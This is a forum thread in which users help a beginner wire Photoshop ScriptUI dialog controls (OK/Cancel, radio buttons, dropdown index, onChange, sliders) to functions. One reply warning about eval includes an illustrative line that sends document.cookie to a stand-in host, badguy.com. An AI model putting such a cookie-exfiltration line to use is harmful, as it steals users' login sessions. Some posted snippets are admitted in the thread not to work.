Copy link to clipboard
Copied
The scriptUI builder from Joonas has reduced the amount of time that it takes to create a GUI, which is fantastic.
Presuming that I have my code already working without a GUI, I am really struggling to work out how to test and link up a function or other "result" to the GUI elements in the window.
Take for example this code, it is a simple test, it only has two radio buttons and an OK and Cancel button.
I have worked out how to test and return that it is "true" if a radio button is selected. This also works the same for checkboxes. All good so far.
However, I don't know what to do with the OK and cancel buttons. If I select a radio button and cancel, the function called by the button is executed. Obviously the expectation is that if cancel is pressed, then nothing happens.
Do I need to do anything for the OK button?
I am finding it hard looking at existing code and have not had much success with othe resources such as forum searches.
There must be a resource that simply explains this stuff with working examples? It is taking hours of research for me to get a UI element to do something correctly, so am I missing a basic resource?
This is of course just the start of my questions, there are many different UI controls (dropdowns, fields etc)... Which I'll get to.
I was writing the answer before you posted the code:
// SHOW THE WINDOW
function yourCode() {
function button1result() {
alert("You selected Button 1");
}
function button2result() {
alert("You selected Button 2");
}
if (radioButton1.value === true) {
button1result();
}
if (radioButton2.value === true) {
button2result();
}
}
myDialogWindow.show() - 2 ? yourCode() : alert('Exit!')
dropdownMenu.selection.index
Copy link to clipboard
Copied
Here is the code:
#target photoshop
// GUI - START
// MYDIALOGWINDOW
var myDialogWindow = new Window("dialog");
myDialogWindow.text = "myWindow";
myDialogWindow.orientation = "column";
myDialogWindow.alignChildren = ["center","top"];
myDialogWindow.spacing = 10;
myDialogWindow.margins = 10;
// BUTTONGROUP
var buttonGroup = myDialogWindow.add("panel", undefined, undefined, {name: "buttonGroup"});
buttonGroup.text = "Button Group";
buttonGroup.orientation = "column";
buttonGroup.alignChildren = ["left","top"];
buttonGroup.spacing = 10;
buttonGroup.margins = 10;
var radioButton1 = buttonGroup.add("radiobutton", undefined, undefined, {name: "radioButton1"});
radioButton1.text = "Button 1";
var radioButton2 = buttonGroup.add("radiobutton", undefined, undefined, {name: "radioButton2"});
radioButton2.text = "Button 2";
// MYDIALOGWINDOW
var okButton = myDialogWindow.add("button", undefined, undefined, {name: "okButton"});
okButton.text = "OK";
var cancelButton = myDialogWindow.add("button", undefined, undefined, {name: "cancelButton"});
cancelButton.text = "Cancel";
// SHOW THE WINDOW
myDialogWindow.show();
// GUI - FINISH
// TEST BUTTON 1
if (radioButton1.value === true) {
button1result();
}
// TEST BUTTON 2
if (radioButton2.value === true) {
button2result();
}
// TEST OK BUTTON
// >> CODE HERE <<
// TEST CANCEL BUTTON
// >> CODE HERE <<
// BUTTON FUNCTIONS
function button1result() {
alert("You selected Button 1");
}
function button2result() {
alert("You selected Button 2");
}
Copy link to clipboard
Copied
win = new Window('dialog')
win.add('button', undefined, 'OK')
win.add('button', undefined, 'Cancel')
alert(win.show() - 2 ? 'Start' : 'Leave')
Copy link to clipboard
Copied
Thank you, in it's simplicity, your code is too complex! :]
I cant work out how to adapt this to the script code previously posted. This is why I posted the code, I need to see how everthing links up in order to understand what is going on.
Remember, I only know enough to be dangerous and what I know is on a needs as basis.
I believe that I need to do something here:
// TEST OK BUTTON
// >> CODE HERE <<
// TEST CANCEL BUTTON
// >> CODE HERE <<
Copy link to clipboard
Copied
I was writing the answer before you posted the code:
// SHOW THE WINDOW
function yourCode() {
function button1result() {
alert("You selected Button 1");
}
function button2result() {
alert("You selected Button 2");
}
if (radioButton1.value === true) {
button1result();
}
if (radioButton2.value === true) {
button2result();
}
}
myDialogWindow.show() - 2 ? yourCode() : alert('Exit!')
Copy link to clipboard
Copied
Thank you, so, wrap the buttons in a function, then call the function as part of the show window/dialog code.
I believe that I "understand" what you did, if not why. The syntax kills me though...
For sake of argument, what if one didn't want the prompt on cancel? Not understanding the syntax, all I did was manage to break the script when I tried to remove the alert on cancel.
Copy link to clipboard
Copied
The alert on cancel is for most users on this forum, who unfortunately when you do not give them result in alert (while there's no any other visible effect), think something does not work. Simply change that to anything that gives undefined result or use:
if (myDialogWindow.show() - 2) yourCode()
Copy link to clipboard
Copied
Thank you, I just ended up playing with either null or undefined instead of the alert.
This has been a great help for applying the OK or Cancel and should serve as a reusable code framework.
Cheers!
Copy link to clipboard
Copied
In the previous case, I already knew how to test the radio button (or checkbox) state in order to call a function to "do something".
The next area where I am working things out blindly is testing for a dropdown array... I settled on comparing that the content of the dropdown was equal to itself. The following code seems to work as expected:
// DIALOG
var dialog = new Window("dialog");
dialog.text = "Dialog";
dialog.orientation = "row";
dialog.alignChildren = ["center", "top"];
dialog.spacing = 10;
dialog.margins = 16;
// DROPDOWNPANEL
var dropdownPanel = dialog.add("panel", undefined, undefined, {
name: "dropdownPanel"
});
dropdownPanel.text = "Dropdown Label";
dropdownPanel.orientation = "column";
dropdownPanel.alignChildren = ["left", "top"];
dropdownPanel.spacing = 10;
dropdownPanel.margins = 10;
var dropdownMenu_array = ["Item 1", "Item 2"];
var dropdownMenu = dropdownPanel.add("dropdownlist", undefined, undefined, {
name: "dropdownMenu",
items: dropdownMenu_array
});
dropdownMenu.selection = 0;
// OK & CANCEL BUTTONS
var okButton = dialog.add("button", undefined, undefined, {
name: "okButton"
});
okButton.text = "OK";
okButton.alignment = ["center", "center"];
var cancelButton = dialog.add("button", undefined, undefined, {
name: "cancelButton"
});
cancelButton.text = "Cancel";
cancelButton.alignment = ["center", "center"];
// WRAP THE UI ELEMENTS INTO A FUNCTION
function buttonActions() {
// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection.text === "Item 1") {
// CALL THE FUNCTION
dropdownItem1result();
}
if (dropdownMenu.selection.text === "Item 2") {
// CALL THE FUNCTION
dropdownItem2result();
}
// DROPDOWN FUNCTIONS
function dropdownItem1result() {
alert("You selected Item 1");
}
function dropdownItem2result() {
alert("You selected Item 2");
}
}
// SHOW THE WINDOW & CALL THE DROPDOWN FUNCTION ON OK, OR CANCEL THE SCRIPT
// dialog.show() - 2 ? buttonActions() : alert("Script cancelled!");
dialog.show() - 2 ? buttonActions() : undefined;
I presume that an alternative method to determine which dropdown menu item was selected would be to use a test for the array item index number? If so, I can't figure that alternative method out though.
And I'm guessing that testing other GUI elements will present their own challenges. What does editText use? What about sliders? This is why I'm struggling to find documentation and easy to understand samples. Building the scriptUI is simple as the tool from Joonas does all the hard work, but getting the interface elements to "do something" is now my challenge.
Copy link to clipboard
Copied
Copy link to clipboard
Copied
Thanks again, I'll look into the linked thread...
Copy link to clipboard
Copied
I hate to admit defeat, however, I just cant work out how to access the array index, or another method.
This snippet works to run a function based on the selected dropdown array item:
if (dropdownMenu.selection.text === "Item 1") {
// CALL THE FUNCTION
dropdownItem1result();
}
These variations don't work:
(dropdownMenu.selection.text[0])
(dropdownMenu.selection[0])
(dropdownMenu[0])
(dropdownMenu_array.selection.text[0])
I'm sure that the answer is obvious to those in the know, but very frustrating for me. It took me hours to figure out how to do this the first time, I'm just looking to learn other ways, by index or any other workable method so that I can explore the pros/cons.
Copy link to clipboard
Copied
dropdownMenu.selection.index
Copy link to clipboard
Copied
Thank you, but I have tried that and other variations before, I didn't list all of the useless code attempts that I have made, that was just a short list! More non-functioning examples below...
// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection.index) {
// CALL THE FUNCTION
dropdownItem1result();
}
if (dropdownMenu.selection.index) {
// CALL THE FUNCTION
dropdownItem2result();
}
/* The previous code is obviously incomplete, so let me try something else */
// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection.index[0]) {
// CALL THE FUNCTION
dropdownItem1result();
}
if (dropdownMenu.selection.index[1]) {
// CALL THE FUNCTION
dropdownItem2result();
}
/* The above doesn't work, so let me try something else */
// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection === index[0]) {
// CALL THE FUNCTION
dropdownItem1result();
}
if (dropdownMenu.selection === index[1]) {
// CALL THE FUNCTION
dropdownItem2result();
}
/* The above is useless, so let me try something else */
// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection.index[0] === true) {
// CALL THE FUNCTION
dropdownItem1result();
}
if (dropdownMenu.selection.index[1]) === true {
// CALL THE FUNCTION
dropdownItem2result();
}
I have read countless tutorials and code examples. I'm obviously missing something simple. This is why I pasted full code earlier in the topic, out of context code isn't working for me.
I'm sorry for asking the forum again, I did ask previously but there was no reply. Isn't there a repository that lists this sort of stuff with simple working code examples? The tool from joonas is great in building a GUI, but there is a disconnect between having a GUI and making the GUI actually do something.
Copy link to clipboard
Copied
eval('dropdownItem' + (dropdownMenu.selection.index + 1) + 'result()')
Copy link to clipboard
Copied
eval('dropdownItem' + (dropdownMenu.selection.index + 1) + 'result()')
I'd stay clear of "eval", as it's about as insecure as it gets and generally not nessecary..
the above code should really be:
theFunc = 'dropdownItem' + (dropdownMenu.selection.index + 1) + 'result';
theFunc();
or:
('dropdownItem' + (dropdownMenu.selection.index + 1) + 'result')();
yeah, that actually works..
But, in this instance, what you REALLY want is:
//dropdownmenu code
dropdownmenu.onChange = function(){
if( this.index >= 1 ){
dropdownItem1result();
} else{
dropdownItem2result();
}
}
or something similair..
Copy link to clipboard
Copied
If you firmly state 'eval' is insecure, please share some examples...
The two snippets you posted to use instead of eval does not work.
ps. onChange is useful, but the above problem is not about method but the logic.
Copy link to clipboard
Copied
The code doesn't work indeed.. weird.. SHOULD work as it is basic JS.. sorry about that, should've tested it..
TBH, I'm kinda lost in what is asked here, so maybe I shouldn't be interfering anymore.
----------------------------------------
As for eval, it's not essential when working with photoshop I guess but when working on the web eval, in combination with forms, is exceedingly unsafe. So IMO it's best not to get used to it.
Why it's unsafe? Because it allows for execution of ANY javascript. If, on a webpage, you can insert a script (script injection), people could place a bit of code where "dropdownMenu.selection.index + 1" is called, through editing of the html-source. Finding and sending content of login-cookies is for instance a big one.
These scripts sometimes piggyback in 3d party marketing scripts. Could be as simple as:
- is there a form on the page?
- if there is, is there a dropdown?
- if there is, add [secretfunction] to the onchange event
- secretfunction does someth. like this:
dropdownMenu.selection.index = (var i=new Image();i.src='http://badguy.com/x?' + document.cookie;)
- if this gets evalled, it would send the content of the cookie linked to the page to "badguy.com", giving them your login information. And as eval operates as it's own process there'd be no way of stopping, or even noticing it.
I know I'm not being entirely clear here, it's just as an illustration. The injected scripts are sophisticated as all hell and amazingly well hidden.
Copy link to clipboard
Copied
Copy link to clipboard
Copied
I'm aware of all these dnageres you listed as I used to learn some javascript outside of Ps before I ended up here. But thank you for explanation though. I hoped you share some risks of using eval around Photoshop, but as you said yourself it's not related to. As far as I know eval in modern JavaScript implementation was deprecated, and does not work anymore, so hmm few years ago that warning had really sense, but now until we still use ECMA3 for Adobe apps there's no other way to make codes at least much shorter than usual.
Copy link to clipboard
Copied
TBH, I'm kinda lost in what is asked here, so maybe I shouldn't be interfering anymore.
Thank you for your input. OK, let's reset the topic...
From my perspective, what has been asked is very simple. The answers have not been simple I'm afraid, that is expected. I'm finding scriptUI to be very difficult.
Kukurykus helped me to get the Cancel and OK working as expected (thanks again).
In my second large chunk of code, I have posted 67 lines of fully working code. It is embarrassing how many hours this took to get my first working result to check and run a function for each dropdown item.
I am searching if the text of the selected dropdown item is true. Again, it took me many hours to get this result. It works, but I have to expect that there are other ways of doing the same thing, probably better than what I came up with by trial and error.
The dropdown list has 2 items, it could be 3 or 10 or more. I just wanted to start with the bare minimum and 1 item is not enough to be sure that things actually work.
Looking at isolated code snippets does not help me, I need to see working code in the context of the script to see how it all "fits together". There is a disconnect for me between simple examples such as on the W3C site and getting things to work within a scriptUI and Photoshop environment.
I am also lamenting the fact that there does not appear to be any great working examples of how to make the scriptUI elements "do something", in my case calling a function, a different function for each of the dropdown items.
Copy link to clipboard
Copied
Copy link to clipboard
Copied
Copy link to clipboard
Copied
I think what you're looking for is the "onChange" event item?
var dropdownMenu_array = ["Item 1", "Item 2"];
var dropdownMenu = dropdownPanel.add("dropdownlist", undefined, undefined, {
name: "dropdownMenu",
items: dropdownMenu_array
});
dropdownMenu.name = "mydropdownmenu"; //you can just do this, it's useful at times
dropdownMenu.selection = 0;
dropdownMenu.onChange = function(){
s = "you chose " + this.selection.text;
s = s + " from the element " + this.name; //this is how you can use 'name'
s = s + " which is a " + this.type
alert( s );
}
Same with sliders:
//bit of code from a personal project:
DC.grpTools.grpInput.slider[0] = DC.grpTools.grpInput.add( 'slider', CFG.layout.slider );
DC.grpTools.grpInput.slider[0].minvalue = 1;
DC.grpTools.grpInput.slider[0].maxvalue = 5;
DC.grpTools.grpInput.slider[0].value = 1;
DC.grpTools.grpInput.slider[0].onChange = function(){
this.value = Math.round(this.value);
}
Note how "this" means the dropdown/slider element in these contexts.
This is why I suggested you read up on events in relation to ScriptUI.
What I normally do is have a config object (CFG) which will be filled after the user clicks ok, then have the rest of the script work with the CFG object, as the dialog is closed..
var CFG = {
processed : false;
chosenname : '',
length : 0,
}
var DC; //dialog content, this allows me to access the dialog content OUTSIDE of the dialog context
dlg = new Window ('dialog', "Configurator");
DC = dlg.content = dlg.add( 'group' ); //DC & dlg.content are the same thing now
DC.namechooser = dlg.content.add('dropdownlist', undefined, ['name1','name2','name3'] );
DC.lengthslider = dlg.content.add( 'slider');
DC.okbutton = dlg.content.add( 'button', undefined, "Ok");
DC.okbutton.onClick = function(){
CFG.chosenName = DC.namechooser.selection.text;
CFG.length = DC.lengthslider.value;
CFG.processed = true;
dlg.close();
}
if( CFG.processed == false ){
alert( "no input to work with" );
} else {
//business logic here
}
This is roughly how I do things when using dialogboxes.
here's information about scriptUI elements, to see which parameters and methods belong to which elements: https://theiviaxx.github.io/photoshop-docs/ScriptUI/
Copy link to clipboard
Copied
dropdownMenu.selection.index
Your hint eventually proved helpful, I had to bash my head against the keyboard too may times until something worked as expected. The problem was with what you didn't put after .index
// DROPDOWN SELECTION TESTS
if (dropdownMenu.selection.index === 0) {
// CALL THE FUNCTION
dropdownItem1result();
}
if (dropdownMenu.selection.index === 1) {
// CALL THE FUNCTION
dropdownItem2result();
}
All of the info regarding returning the selected array indes number that I could find used square brackets around the index number:
.index[0]
.index = [0]
.index == [0]
.index === [0]
This was not the correct syntax for my particular code, I just needed:
.index === 0